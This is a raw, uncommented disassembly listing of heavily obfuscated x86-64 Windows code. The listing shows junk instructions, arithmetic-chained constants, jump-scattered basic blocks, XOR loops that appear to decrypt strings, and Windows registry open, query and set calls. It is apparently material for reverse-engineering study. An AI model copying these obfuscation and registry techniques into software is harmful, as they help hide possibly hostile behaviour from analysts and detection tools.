pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
mov dword [rsp - 0x10], esi
movd xmm2, eax
pshufd xmm2, xmm2, 0
jmp 0x1400256aa
paddb xmm2, xmm0
xchg r13, r13
pxor xmm2, xmm1
movd dword [rbp + 4], xmm2
jmp 0x1400267c5
sub sil, 0x4e
xor sil, 0x7a
add sil, 0xc
xor sil, 0x7e
sub sil, 0xf
mov rcx, qword [rbp - 0x10]
mov dword [rsp - 0x44], 0x3093f0d5
jmp 0x140025865
mov r10, r10
cmp r8d, 0x57
jge 0x140025cea
movsxd rax, r8d
lea r10, [rsp + 0x40]
xchg r8, r8
jmp 0x1400254ff
nop dword [rax + rax]
mov dword [rsp - 0x30], 0x2bf41f7a
movd xmm2, r8d
lea eax, [r8 + 4]
jmp 0x140025427
movdqa xmm7, xmmword [str.6666]
movdqa xmm9, xmmword [0x14010c2f0]
mov rdx, rdx
jmp 0x140026339
sub eax, 0x2f74cad4
add eax, 0x217fa472
add eax, 0x25f52379
lea r9, [r9 + 1]
imul r8d
sar edx, 1
sar edx, 3
jmp 0x1400261d4
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140025e9e
mov r9, r9
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
mov r11, r11
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jmp 0x140025491
test eax, eax
je 0x140026181
mov eax, dword [0x14010ca68]
mov dword [rsp - 0x34], edi
mov r8d, ebx
mov dword [rsp + 0x70], eax
jmp 0x140025df2
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x28], edx
pshufhw xmm1, xmm0, 0xd8
jmp 0x140026259
mov dword [rsp - 0x2c], 0x32c8fa3f
movups xmm0, xmmword [0x14010ca70]
mov eax, dword [0x14010ca88]
movsd xmm1, qword [0x14010ca80]
xchg rcx, rsp
jmp 0x140026626
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
mov dword [rsp - 0x38], edx
movd dword [rbp], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov r14, r14
jmp 0x140025234
xchg rcx, rcx
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
mov rdx, rdx
pmuldq xmm1, xmm4
jmp 0x1400264a1
movdqa xmm3, xmmword [0x14010c2d0]
mov r12, r12
movdqa xmm0, xmm2
mov eax, dword [str.2222222222222222]
punpckhdq xmm0, xmm2
xchg rbx, rbx
punpckldq xmm1, xmm2
jmp 0x1400260d9
add r9, rax
nop word [rax + rax]
mov r9, r9
mov eax, 0x2ad4b598
sub eax, 0x1573030a
add eax, 0x1205af77
add eax, 0xc72b3db
jmp 0x140025b6c
mov dword [rsp - 0x18], 0x42dbc216
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
mov rbp, rbp
paddw xmm3, xmm2
jmp 0x140025daf
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov rcx, rcx
jmp 0x14002619d
jl 0x14002664f
lea rax, [rbp - 0x10]
mov r9d, 0x7bde4aa2
xor r9d, 0x4e0e0418
jmp 0x1400265e3
lea r10, [r10 + 1]
imul r8d
mov dword [rsp - 0x44], esi
jmp 0x140025586
imul r8d
mov dword [rsp - 0x44], ecx
sar edx, 3
jmp 0x14002635c
mov rax, qword [str.w_UWZR9w_UWZR9t]
mov rbx, rbx
mov qword [rbp], rax
mov dword [rbp - 8], ebx
mov dword [rbp + 8], r14d
jmp 0x140025eb5
xchg r10, rsp
movups xmm0, xmmword [0x14010cb30]
movups xmmword [rsp + 0x50], xmm1
mov r11, r11
movups xmm1, xmmword [0x14010cb20]
mov word [rbp - 0x6c], ax
jmp 0x14002603c
mov qword [rsp + 0x20], r13
xchg r13, rax
xor r8d, r8d
mov rdx, rdx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x140025bbf
movups xmm0, xmmword [0x14010cab0]
movups xmm1, xmmword [0x14010cac0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x14010cad0]
xchg r12, r12
xchg rsp, rdx
jmp 0x14002534b
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140025f8a
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
mov rdx, rdx
jmp 0x140026391
sub ax, 0x4cfa
add ax, 0x4d2c
xor word [r9 - 2], ax
jmp 0x1400256ef
movdqa xmmword [r14 + 0x30], xmm0
xchg r14, rsp
mov edx, dword [rsp + 0x30]
mov dword [rsp - 0x34], ebp
movd xmm6, r14d
movd xmm8, r15d
jmp 0x140025b38
movzx eax, word [0x14010ca6c]
mov dword [rsp - 0x10], 0x12686bed
mov word [rsp + 0x74], ax
movups xmm0, xmmword [0x14010ca38]
movups xmm1, xmmword [0x14010ca48]
xchg rsp, rbx
movups xmmword [rbx + 0x40], xmm0
jmp 0x140025935
cmp dword [rbp - 8], 3
je 0x140025b0a
cmp byte [0x14010caab], bl
movups xmm0, xmmword [str.tVUACE_j_OHTPX3]
xchg r9, r9
mov eax, dword [str.8M]
jmp 0x14002600b
psubd xmm2, xmm0
mov dword [rsp - 0x44], 0x6a683c44
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
jmp 0x140025b9e
mov dword [rsp - 0x3c], ebp
movdqa xmm7, xmmword [str.6666]
xchg rbp, rsp
movdqa xmmword [rbp + 0x30], xmm0
xchg rsp, rbp
mov edx, dword [rsp + 0x30]
jmp 0x140026121
xor eax, 0x2142b2f6
lea r9, [r9 + 2]
xchg r11, r11
imul r8d
jmp 0x14002531a
xchg r14, r14
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x1400254eb
je 0x1400267c5
xchg r14, r14
mov r8d, ebx
cmp edi, 2
jl 0x140026663
movdqa xmm2, xmmword [0x14010c2c0]
jmp 0x140025a06
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov rdx, rdx
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x1400252af
add sil, 0x1a
add sil, 1
sub sil, 0x5f
add sil, 0x58
sub sil, 0x58
cmp byte [0x14010ca8b], bl
jmp 0x140025bf4
movdqa xmm0, xmm1
mov r15, r15
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140025e45
mov dword [rsp - 0xc], 0xc406927
inc r8d
sub al, cl
jmp 0x140026059
psubd xmm2, xmm0
mov dword [rsp - 0x30], 0x1641678
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
mov rbp, rbp
jmp 0x140025ac1
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov dword [rsp - 0x2c], 0x3dab5758
pshufd xmm2, xmm1, 0xd8
jmp 0x14002581e
mov dword [rsp - 0x3c], ebx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x18], 0x55b108c3
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
jmp 0x140026473
lea r9, [r9 + 2]
mov r10, r10
imul r8d
jmp 0x1400261c8
cmp r8d, 0x1b
jl 0x14002533c
lea rcx, [rsp + 0x40]
call fcn.1400a0e70
mov r15, r15
mov sil, 0x5d
xor sil, 0x3b
jmp 0x140025af6
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x40], 0x20d910b7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
jmp 0x1400264c4
movsd xmm1, qword [str.467__]
xchg rsp, rcx
movups xmmword [rcx + 0x40], xmm0
xchg rcx, rsp
jmp 0x140025653
sub rcx, 0x5d857ad
sub rcx, 0x50b59a38
add rcx, 0x421b4c98
jmp 0x1400264ed
movzx eax, byte [0x14010cb46]
xchg rcx, rcx
xchg r13, rbp
movups xmmword [r13 - 0x80], xmm0
xchg r13, rbp
xchg rcx, rsp
jmp 0x1400258d8
sub al, 0xce
xor byte [r9 - 1], al
mov dword [rsp - 0xc], 0x2dabbf43
jmp 0x1400252d1
cmp edi, 2
jl 0x1400263a8
mov r13, r13
movdqa xmm5, xmmword [0x14010c2c0]
lea rcx, [rsp + 0x40]
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm7, xmmword [str.6666]
jmp 0x1400253eb
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
xchg r14, r14
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov r8, r8
jmp 0x140026639
xor eax, 0x2b01cf22
xor eax, 0x588d71ab
add eax, 0xf93102d
add eax, 0x3bee00f
sub eax, 0x5ded721
jmp 0x140025d00
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
xchg rbp, rbp
movd xmm5, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140025407
mov eax, edx
mov r13, r13
shr eax, 0x14
shr eax, 1
shr eax, 5
shr eax, 1
jmp 0x1400255c6
mov rsi, rsi
movsxd rax, r8d
lea r9, [rsp + 0x40]
jmp 0x140025c7d
movd xmm6, r14d
mov dword [rsp - 0x28], ebp
movd xmm8, r15d
nop
movd xmm2, r8d
mov dword [rsp - 0x44], 0x4e1e797
lea eax, [r8 + 4]
jmp 0x140025447
xchg r13, rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140025e2a
mov dword [rsp - 0x18], ecx
jmp 0x140025e20
nop
sub r8d, 0x7e6d7756
add r8d, 0x7e6d775e
pmuldq xmm1, xmm4
jmp 0x1400262d0
call fcn.1400a0e70
xchg rdx, rdx
mov sil, 5
add sil, 0x40
jmp 0x140025ef8
xchg r10, rsp
movups xmmword [r10 + 0x40], xmm0
xchg r10, rsp
jmp 0x1400265a6
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x18], 0x60844c52
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
jmp 0x1400265fd
sar edx, 2
sar edx, 1
sar edx, 1
jmp 0x1400260fd
mov eax, edx
shr eax, 0x18
shr eax, 2
shr eax, 4
shr eax, 1
add edx, eax
movsx eax, dl
jmp 0x140025513
shr eax, 1
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
xchg rdx, rdx
movzx eax, r8b
jmp 0x140026217
punpckhdq xmm0, xmm2
mov dword [rsp - 0x38], esi
paddd xmm3, xmm5
pmuldq xmm0, xmm4
jmp 0x140025959
inc r8d
sub al, cl
sub al, 4
add al, 0x36
xor byte [r10 - 1], al
cmp r8d, 0x57
mov rdi, rdi
jmp 0x140025ce4
xchg rsp, r15
cmp edi, 2
jl 0x1400254a5
movdqa xmm5, xmmword [0x14010c2c0]
mov r11, r11
lea rcx, [rsp + 0x40]
movdqa xmm4, xmmword [0x14010d420]
jmp 0x140025b53
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x3c], 0x421be0c1
movd xmm1, dword [rbp]
packuswb xmm2, xmm2
movd xmm0, eax
jmp 0x140025684
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
mov dword [rsp - 0x10], ebx
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
mov rbp, rbp
jmp 0x140025564
xchg rdi, rdi
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x140026201
shr eax, 5
shr eax, 1
add edx, eax
mov dword [rsp - 0x44], 0x7bd31589
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
jmp 0x140025f31
mov dword [rsp - 0xc], esp
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140025694
psubd xmm2, xmm0
mov r14, r14
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
jmp 0x1400263c5
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
mov dword [rsp - 0x14], esi
pmuldq xmm0, xmm4
jmp 0x140025c19
xchg rbp, rsp
movsd qword [rbp + 0x50], xmm1
xchg rbp, rsp
mov dword [rsp + 0x58], eax
je 0x1400252db
jmp 0x140025221
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax]
nop dword [rax + rax]
mov rbp, rbp
movd xmm2, r8d
jmp 0x140026452
sar edx, 1
mov eax, edx
shr eax, 1
shr eax, 0x13
shr eax, 3
shr eax, 2
jmp 0x1400262b2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xchg rsp, rsp
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
jmp 0x1400256bb
cmp r8d, 0x18
jl 0x1400255b5
cmp r8d, 0x1b
mov rdi, rdi
jge 0x140025fce
movsxd rax, r8d
jmp 0x14002532b
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x1400259d7
mov r11, r11
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov rbp, rbp
jmp 0x140026370
movd xmm2, r8d
lea eax, [r8 + 4]
mov r13, r13
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
mov dword [rsp - 0x44], 0x3f4f95dc
jmp 0x140025a1a
punpckhdq xmm0, xmm2
mov dword [rsp - 0x1c], esp
paddd xmm3, xmm5
pmuldq xmm0, xmm4
jmp 0x14002572a
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
mov dword [rsp - 0x30], ecx
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm7, xmmword [str.6666]
xchg r9, rsp
jmp 0x1400252f6
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
mov r9, r9
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
nop
sub r8d, 0x2f716150
jmp 0x1400259a0
pxor xmm2, xmm0
mov dword [rsp - 0x3c], 0x1bb6741b
movd dword [rcx - 8], xmm2
cmp r8d, 0x50
jl 0x140025b45
jmp 0x140025b1b
inc r8d
mov rdi, rdi
sub ax, cx
jmp 0x1400258a3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x10], ebp
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140025f43
pshufhw xmm1, xmm0, 0xd8
mov r9, r9
movq xmm0, qword [rcx - 0x10]
jmp 0x140026280
shr eax, 1
add edx, eax
mov dword [rsp - 0xc], ebp
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
jmp 0x140026493
sub rcx, 0x4309ab5f
add rcx, 0x5785e8b7
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xchg rcx, rcx
test eax, eax
jne 0x1400272b5
cmp byte [0x14010cb4f], bl
jmp 0x140025d1f
movdqa xmm5, xmmword [0x14010c2c0]
mov r11, r11
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm7, xmmword [str.6666]
xchg rsp, r14
jmp 0x140025dd2
xor dword [rbp - 8], 0x3c37917c
xor dword [rbp - 8], 0x727d3ef0
xor dword [rbp - 8], 0x57b43d97
xor dword [rbp - 8], 0x71df5571
sub dword [rbp - 8], 0x3a9c54fc
xor dword [rbp - 8], 0x5763bd35
sub dword [rbp - 8], 0x5c5d7de2
jmp 0x1400265cc
jl 0x140025b28
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
jmp 0x140026517
mov eax, 0x3e6e12a6
sub eax, 0x1968a0f7
add eax, 0x28141457
xor eax, 0x2b8503f2
sub eax, 0x26f23ead
jmp 0x1400255e0
movups xmm0, xmmword [0x14010cb10]
mov dword [rbp - 0x70], eax
mov dword [rsp - 0x28], 0x1b19de5c
movzx eax, word [0x14010cb44]
xchg rsp, r10
movups xmmword [r10 + 0x60], xmm0
jmp 0x140025d39
popf
xchg rsp, r9
movsd qword [r9 + 0x50], xmm1
xchg r9, rsp
mov dword [rsp + 0x58], eax
jmp 0x140025530
add r9d, 0x37607062
sub r9d, 0xec48172
add r9d, 0x64ee89f
jmp 0x14002577f
movd dword [rcx - 8], xmm2
mov dword [rsp - 0x44], 0x7bc52687
cmp r8d, 0x18
jl 0x140026131
cmp r8d, 0x1c
mov r8, r8
jge 0x1400252db
jmp 0x1400257b6
movups xmmword [rcx + 0x40], xmm0
xchg rsp, rcx
mov dword [rbp - 8], ebx
mov dword [rbp + 8], r14d
jmp 0x14002631f
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg r14, r14
jmp 0x140025f66
mov eax, 0x2341e77a
xor eax, 0x2e576251
xor eax, 0x40fcc27e
jmp 0x1400260bb
lea r9, [rbp]
nop dword [rax]
mov eax, 0x3104a3c9
jmp 0x140026917
je 0x140026bf4
mov dword [rsp - 0x20], 0x2e610e5c
mov r8d, ebx
jmp 0x1400268c0
add eax, edx
mov dword [rsp - 0x24], esi
shr eax, 2
shr eax, 3
jmp 0x140026930
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0xc], 0x5c85b269
psrld xmm0, xmm5
jmp 0x14002680d
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
mov dword [rsp - 0x44], esi
pmuldq xmm0, xmm4
jmp 0x140026736
movdqa xmm0, xmm1
psrld xmm0, xmm5
mov dword [rsp - 0xc], 0x311fee84
jmp 0x140026865
xchg rbx, rax
lea rdx, [rbp]
mov rdi, rdi
lea rax, [rbp - 8]
xor r9d, r9d
jmp 0x14002677f
xchg r12, r12
movdqa xmm3, xmmword [0x14010c2d0]
movdqa xmm0, xmm2
jmp 0x140026795
xchg r10, rax
mov qword [rbp], r10
xchg r10, rax
mov dword [rbp - 8], ebx
jmp 0x140026674
add eax, 0x14037791
sub eax, 0x67cddaa
lea r9, [r9 + 1]
mul r8d
jmp 0x140026751
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp], xmm2
mov dword [rsp - 0x10], esp
pmuldq xmm1, xmm4
jmp 0x14002669b
xchg r10, r10
mov eax, r8d
sub eax, edx
shr eax, 1
jmp 0x14002668a
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, r15d
mov rsp, rsp
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x1400266d2
xor r8d, r8d
mov qword [rsp + 0x20], rax
xchg r11, r11
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jmp 0x140026888
mov eax, dword [str.2222222222222222]
mov dword [rsp - 0xc], esp
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
mov r15, r15
jmp 0x140026760
xor byte [r9 - 1], al
cmp r8d, 8
xchg r15, r15
jl 0x14002666a
xchg r11, rcx
mov r11, qword [rbp - 0x10]
jmp 0x140026833
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x3c], 0x40f450da
movd xmm1, dword [rbp]
jmp 0x1400268e5
movzx eax, r8b
inc r8d
sub al, cl
mov dword [rsp - 0x28], 0x75b20d09
add al, 0x32
jmp 0x1400267b4
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666]
mov rbp, rbp
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov rsp, rsp
jmp 0x14002684e
xchg rcx, r11
lea rax, [rbp + 8]
mov dword [rsp - 0x28], 0x5976799a
xchg rbx, rax
mov qword [rsp + 0x28], rbx
jmp 0x1400266e7
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
movd xmm1, dword [rbp + 4]
jmp 0x1400268fe
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.6666]
psubd xmm2, xmm0
mov dword [rsp - 0x10], 0x5ce31bc4
pshuflw xmm0, xmm2, 0xd8
jmp 0x1400267d1
test eax, eax
jne 0x14002689c
cmp dword [rbp - 8], ebx
mov rdx, rdx
je 0x1400272a8
cmp byte [0x14010cb57], bl
mov rax, qword [0x14010cb50]
jmp 0x140026710
pxor xmm2, xmm1
movd dword [rbp + 4], xmm2
mov dword [rsp - 0x2c], edi
jmp 0x140026912
cmp edi, 2
jl 0x14002693e
xchg rdx, rdx
movdqa xmm2, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm1, xmm2
jmp 0x1400266fc
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
mov dword [rsp - 0x30], 0x688ae5a0
jmp 0x1400266b8
packuswb xmm2, xmm2
xchg rbp, rbp
movd xmm0, eax
paddb xmm2, xmm0
jmp 0x1400268ae
jmp 0x140026bf4
add eax, 0x2bbb91aa
sub eax, 0x546f3ef3
add eax, 0x3dbec194
sub eax, 0x242e0620
jmp 0x140026720
movsx eax, al
imul ecx, eax, 0x36
xchg rbx, rbx
jmp 0x1400267f5
lea r9, [rbp]
nop dword [rax]
mov rsi, rsi
nop word [rax + rax]
mov eax, 0x73540667
xor eax, 0x577aea1e
sub eax, 0x16791a78
jmp 0x140027848
shr eax, 1
add edx, eax
movsx eax, dl
jmp 0x140026ba8
lea rcx, [rcx + 8]
xchg rdx, rdx
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x140026b4d
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm7, xmmword [str.6666]
xchg rsp, rdx
movdqa xmmword [rdx + 0x30], xmm0
xchg rsp, rdx
jmp 0x140026a65
pshuflw xmm0, xmm3, 0xd8
mov dword [rsp - 0x34], 0x78c297f7
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140026fde
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
jmp 0x1400275af
xchg rdx, rbx
movups xmmword [rbx - 0x20], xmm0
xchg rdx, rbx
xchg rcx, r14
movups xmm0, xmmword [r14 + 0x70]
xchg r14, rcx
xchg rbp, rdx
jmp 0x1400273ea
mov r8d, ebx
mov dword [rsp + 0x70], eax
movzx eax, byte [0x14010cbc4]
jmp 0x140026b39
mov rsi, rsi
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14002767e
nop dword [rax]
nop dword [rax + rax]
mov rsi, rsi
jmp 0x140027175
xchg r9, r11
movaps xmm7, xmmword [r9 - 0x20]
xchg r11, r9
xchg rbp, r11
movaps xmm8, xmmword [rbp - 0x30]
xchg rbp, r11
mov rsp, r11
jmp 0x14002760e
xchg rsi, rsi
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
mov dword [rsp - 0x44], esp
jmp 0x140026987
mov edx, dword [rsp + 0x30]
mov dword [rsp - 0x20], ebx
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax]
mov dword [rsp - 0x3c], 0x3b328b51
nop dword [rax + rax]
jmp 0x140026aa2
mov dword [rsp - 0x24], ecx
pmuldq xmm1, xmm4
movd xmm0, edx
jmp 0x1400278a0
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x28], edx
jmp 0x140026c31
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
xchg r12, r12
cmp r8d, 0x18
jl 0x140027472
jmp 0x140026eae
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x20], edi
shufps xmm1, xmm0, 0xdd
jmp 0x140026c73
xchg rsi, rcx
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx - 0x80], xmm0
mov dword [rsp - 0x40], esi
xchg r10, rcx
jmp 0x14002728c
xchg rdx, r9
xchg r14, rcx
movups xmm1, xmmword [r14 + 0x80]
xchg rcx, r14
jmp 0x1400269d1
sub r8d, 0xfffffff8
mov rdx, rdx
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140027510
mov dword [rsp - 0x38], ebx
mov byte [rsp + 0x74], al
movups xmm0, xmmword [str.VZGX]
jmp 0x1400272e3
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
mov dword [rsp - 0x24], ebp
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x14002734f
mov rdx, rdx
mov byte [rdx + 0x2c], al
cmp edi, 2
jmp 0x14002726c
xor eax, 0x70273a79
sub eax, 0x3373b8ad
sub eax, 0x11c5c202
sub eax, 0x5f3e1c1
add eax, 0x2f5e5305
jmp 0x1400271e8
inc r8d
sub al, cl
mov rbx, rbx
add al, 0x5a
sub al, 0x28
xor byte [r9 - 1], al
jmp 0x140026be7
imul ecx, eax, 0x36
mov dword [rsp - 0x44], 0x7e7710ed
movzx eax, r8b
inc r8d
sub al, cl
xchg rbx, rbx
jmp 0x1400271c4
mov rbp, rbp
movdqa xmm7, xmmword [str.6666]
xchg r14, rsp
movdqa xmmword [r14 + 0x30], xmm0
xchg rsp, r14
mov edx, dword [rsp + 0x30]
xchg rsi, rsi
jmp 0x1400275fd
cmp r8d, 8
mov rdx, rdx
jl 0x140026953
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 8]
xchg r15, r15
jmp 0x1400273cd
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
jmp 0x140026a90
call fcn.1400e3550
mov eax, dword [0x14010cbe8]
mov dword [rsp - 0x30], 0x9cba067
jmp 0x140027388
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
mov r14, r14
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
jmp 0x140026e4f
mov r13, r13
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x4496219b
sub eax, 0x239617e0
jmp 0x1400274bc
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x18], esp
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140027624
mov dword [rsp - 0x3c], 0x75b9eb66
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
jmp 0x1400274dc
mov dword [rsp - 0x18], 0x6d303925
xchg r10, rsp
movups xmmword [r10 + 0x50], xmm1
jmp 0x14002744f
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x14], 0x3fc917ba
pmulld xmm0, xmm7
psubd xmm3, xmm0
jmp 0x140027404
psubd xmm2, xmm0
mov rbp, rbp
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14002787a
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x20], 0x7301e0ad
jmp 0x140026ad8
movd xmm2, r8d
mov dword [rsp - 0x28], 0x1e4f22b8
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
jmp 0x140026973
movups xmm1, xmmword [rcx + 0x30]
xchg r8, rdx
movups xmmword [r8 - 0x60], xmm0
xchg rdx, r8
xchg rdi, rcx
movups xmm0, xmmword [rdi + 0x40]
jmp 0x1400270f9
mov dword [rsp - 0x2c], edx
shr eax, 9
shr eax, 9
jmp 0x140027135
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
xchg r15, r15
jmp 0x14002742c
cmp edi, 2
jl 0x140027835
mov dword [rsp - 0x38], 0x20362865
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d420]
jmp 0x140026bc4
imul r8d
mov dword [rsp - 0x30], ebp
sar edx, 3
sar edx, 1
mov eax, edx
mov r11, r11
jmp 0x1400275ce
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0xc], ebx
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140026ce1
mov r12, qword [rsp + 0x180]
xchg r12, rsi
je 0x140026ee5
mov eax, dword [0x14010cbc0]
mov r13, r13
jmp 0x1400269ee
xchg rdx, rbx
movups xmmword [rbx], xmm1
xchg rdx, rbx
jmp 0x140027562
add al, 0xce
neg al
xor byte [r8 - 1], al
cmp ebx, 0xad
mov dword [rsp - 0x34], esi
jl 0x140026c64
jmp 0x140026edb
cmp r8d, 0x26
jl 0x140027175
mov dword [rsp - 0x2c], 0x5e071feb
jmp 0x140027818
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
mov dword [rsp - 0xc], ecx
pshufd xmm3, xmm1, 0xd8
jmp 0x140026ab9
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
mov dword [rsp - 0x20], ebx
punpckhdq xmm0, xmm2
jmp 0x1400269c2
sar edx, 3
sar edx, 1
